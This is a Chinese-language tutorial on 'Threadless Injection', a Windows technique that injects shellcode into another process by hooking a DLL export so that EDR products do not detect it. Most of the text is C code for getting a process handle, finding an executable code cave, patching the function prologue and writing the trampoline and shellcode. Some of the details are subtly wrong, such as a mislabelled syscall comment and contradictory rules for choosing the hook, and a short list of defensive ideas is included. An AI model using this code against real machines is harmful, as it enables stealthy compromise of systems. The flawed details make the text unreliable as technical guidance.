Threadless Injection(无线程注入)是一种新颖的进程注入技术,能够在不创建远程线程的情况下,将代码注入到第三方进程中执行,从而绕过传统的EDR(终端检测与响应)防护检测。本文将用最简单的方式介绍这一技术的基础知识,配合示例代码,帮助读者快速理解其原理和实现。
1. 传统进程注入的四个步骤
常见的进程注入步骤包括:
- 获取目标进程句柄(例如使用
OpenProcess) - 在目标进程中分配内存(例如使用
VirtualAllocEx) - 写入shellcode到目标进程内存(例如使用
WriteProcessMemory) - 创建远程线程执行shellcode(例如使用
CreateRemoteThread)
这四步操作是杀毒软件和EDR重点监控的行为,任何程序执行这些API都会被立即标记为可疑,甚至被阻断。
2. Threadless Injection的核心思想
Threadless Injection的关键是避免直接调用创建远程线程的API,而是通过“钩子(hook)”技术,修改目标进程中某个经常调用的DLL导出函数,让它在被调用时执行我们注入的shellcode。
具体步骤:
- 找到目标进程中某个经常调用的DLL导出函数(例如
kernelbase.dll中的网络函数) - 在目标进程内存中找到一块“代码空洞”(code cave),用于存放shellcode和跳板代码(trampoline)
- 将shellcode和跳板写入这块内存
- 修改导出函数的前几条指令,插入跳转指令,跳转到shellcode执行
- shellcode执行完后,跳回原函数继续执行,保证目标进程正常运行
这样,shellcode的执行被隐藏在正常的API调用中,绕过了传统的线程创建检测。
3. 选择合适的钩子函数
钩子函数必须满足:
- 经常被调用,确保shellcode能及时执行
- 不会频繁调用(避免性能问题)
- 目标进程必须加载包含该函数的DLL
使用工具如 API Monitor 可以实时监控目标程序调用的API,帮助找到合适的钩子函数。
4. Threadless Injection示例代码讲解
以下示例展示了如何实现Threadless Injection的核心步骤,注入一个简单的shellcode(打开计算器)到目标进程。
4.1 获取目标进程句柄
HANDLE GetProcessHandleByName(LPCWSTR ps_name, DWORD *procID) {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (process_snap == INVALID_HANDLE_VALUE) return NULL;
if (Process32First(process_snap, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
*procID = pe32.th32ProcessID;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
if (hProc) {
CloseHandle(process_snap);
return hProc;
}
}
} while (Process32Next(process_snap, &pe32));
}
CloseHandle(process_snap);
return NULL;
}
4.2 获取DLL模块句柄及导出函数地址
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");
if (hModule == NULL)
hModule = LoadLibraryW(L"kernelbase.dll");
void* dll_export_fun_addr = GetProcAddress(hModule, "VictimExportedFunction");
if (dll_export_fun_addr == NULL) return 1;
4.3 寻找代码空洞(code cave)
UINT_PTR addr_of_codecave = 0;
BOOL gotchaCave = FALSE;
UINT_PTR function_addr = (UINT_PTR)dll_export_fun_addr;
for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
addr_of_codecave < function_addr + 0x70000000;
addr_of_codecave += 0x10000) {
LPVOID lpAddr = VirtualAllocEx(hProc,
(LPVOID)addr_of_codecave,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpAddr != NULL) {
gotchaCave = TRUE;
break;
}
}
if (!gotchaCave) return 1;
4.4 写入跳板代码和shellcode
跳板代码负责保存现场,调用shellcode,执行完恢复现场并跳回原函数。
unsigned char trampoline[] = {
0x58, // pop rax
0x48, 0x83, 0xE8, 0x05, // sub rax, 5
0x50, // push rax
// ... 省略部分保存寄存器代码
0xE8, 0x00, 0x00, 0x00, 0x00, // call shellcode (后续填充偏移)
// ... 省略部分恢复寄存器代码
0xFF, 0xE0 // jmp rax (跳回原函数)
};
unsigned char shellcode[] = {
// 这里是打开计算器的shellcode示例(x64)
0x48, 0x31, 0xC0, // xor rax, rax
0x48, 0x83, 0xC0, 0x3C, // add rax, 60 (NtCreateProcess)
// 省略其他shellcode指令
};
4.5 修改导出函数的前几条指令,插入跳转到跳板
DWORD oldProtect;
VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &oldProtect);
unsigned char call_opcode[] = { 0xE8, 0, 0, 0, 0 }; // call 指令,后面4字节为偏移
int call_offset = (int)((UINT_PTR)addr_of_codecave - ((UINT_PTR)dll_export_fun_addr + 5));
*(int*)(call_opcode + 1) = call_offset;
WriteProcessMemory(hProc, dll_export_fun_addr, call_opcode, sizeof(call_opcode), NULL);
VirtualProtectEx(hProc, dll_export_fun_addr, 8, oldProtect, &oldProtect);
4.6 写入跳板和shellcode到代码空洞
c
unsigned char payload[sizeof(trampoline) + sizeof(shellcode)];
memcpy(payload, trampoline, sizeof(trampoline));
memcpy(payload + sizeof(trampoline), shellcode, sizeof(shellcode));
VirtualProtectEx(hProc, (LPVOID)addr_of_codecave, sizeof(payload), PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProc, (LPVOID)addr_of_codecave, payload, sizeof(payload), NULL);
VirtualProtectEx(hProc, (LPVOID)addr_of_codecave, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect);
5. 关键点总结
- 不创建远程线程,避免被EDR通过
CreateRemoteThread检测 - 通过修改目标进程中常用API的代码,间接执行shellcode
- shellcode执行后恢复原函数,保证程序正常运行
- 选择合适的钩子函数,保证shellcode能及时执行且不影响性能
6. Threadless Injection的优势与防御
优势:
- 绕过传统基于线程创建的注入检测
- 不干扰目标进程线程状态,减少异常行为
- 适合在Windows 11 23H2等新系统环境下使用
防御思路:
- 监控目标进程中DLL导出函数代码段的写入行为
- 检测导出函数前几条指令被修改(inline hook)
- 监控异常的call/jmp指令写入
- 结合行为分析识别异常API调用
7. 参考资料与开源项目
- ThreadlessInject开源项目示例
- API Monitor工具,用于监控API调用
- 相关安全博客与技术分享文章
8. 结语
Threadless Injection是一种突破传统进程注入检测的新技术。通过对目标进程中常用函数的钩子修改,实现隐蔽的shellcode执行。本文结合基础知识和示例代码,帮助读者理解其原理和实现细节。实际应用中还需结合多种技术手段,提升隐蔽性和稳定性。
欢迎读者根据本文示例,结合自身需求,深入研究Threadless Injection技术。安全研究需合法合规,本文仅供学习与研究使用。